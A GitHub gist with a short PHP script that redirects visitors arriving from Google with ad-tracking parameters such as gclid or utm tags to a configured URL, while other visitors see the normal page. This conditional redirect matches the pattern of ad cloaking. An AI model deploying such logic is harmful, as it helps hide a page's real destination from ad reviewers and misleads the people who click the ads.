Created
April 18, 2024 14:27
-
-
Save tallesairan/fe26c872e39ebed9c6bfb5f05d3d81f2 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function home_url($path){ | |
$protocol = 'http://'; | |
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') { | |
$protocol = 'https://'; | |
} | |
$host = $_SERVER['HTTP_HOST']; | |
return $protocol.$host.$path; | |
} | |
// ativa ou desativar redirect | |
$ativar_redirect = true; | |
// url de redirecionamento abaixo | |
$url_redirecionamento='https://www.google.com.br/outrapagina.html'; | |
if (isset($_SERVER['HTTP_REFERER'])) { | |
$referrer = $_SERVER['HTTP_REFERER']; | |
if (strpos($referrer, 'google') !== false) { | |
$isGoogleReferrer = true; | |
} | |
if ($isGoogleReferrer) { | |
$adTags = ['utm_term', 'utm_creative', 'utm_campaign', 'utm_position', 'utm_network', 'utm_target', 'utm_placement', 'utm_match', 'gclid', 'gad_source']; | |
$hasAdTags = false; | |
$current_url = home_url( $_SERVER['REQUEST_URI'] ); | |
$ref_url = parse_url($current_url); | |
if (isset($ref_url['query'])) { | |
$query = $ref_url['query']; | |
$queryParts = explode('&', $query); | |
foreach ($queryParts as $part) { | |
$partParts = explode('=', $part); | |
if (in_array($partParts[0], $adTags)) { | |
$hasAdTags = true; | |
break; | |
} | |
} | |
} | |
if($hasAdTags){ | |
if($ativar_redirect){ | |
$redirect_url = $url_redirecionamento; | |
if($redirect_url){ | |
header('Location: '.$redirect_url); | |
exit; | |
} | |
} | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment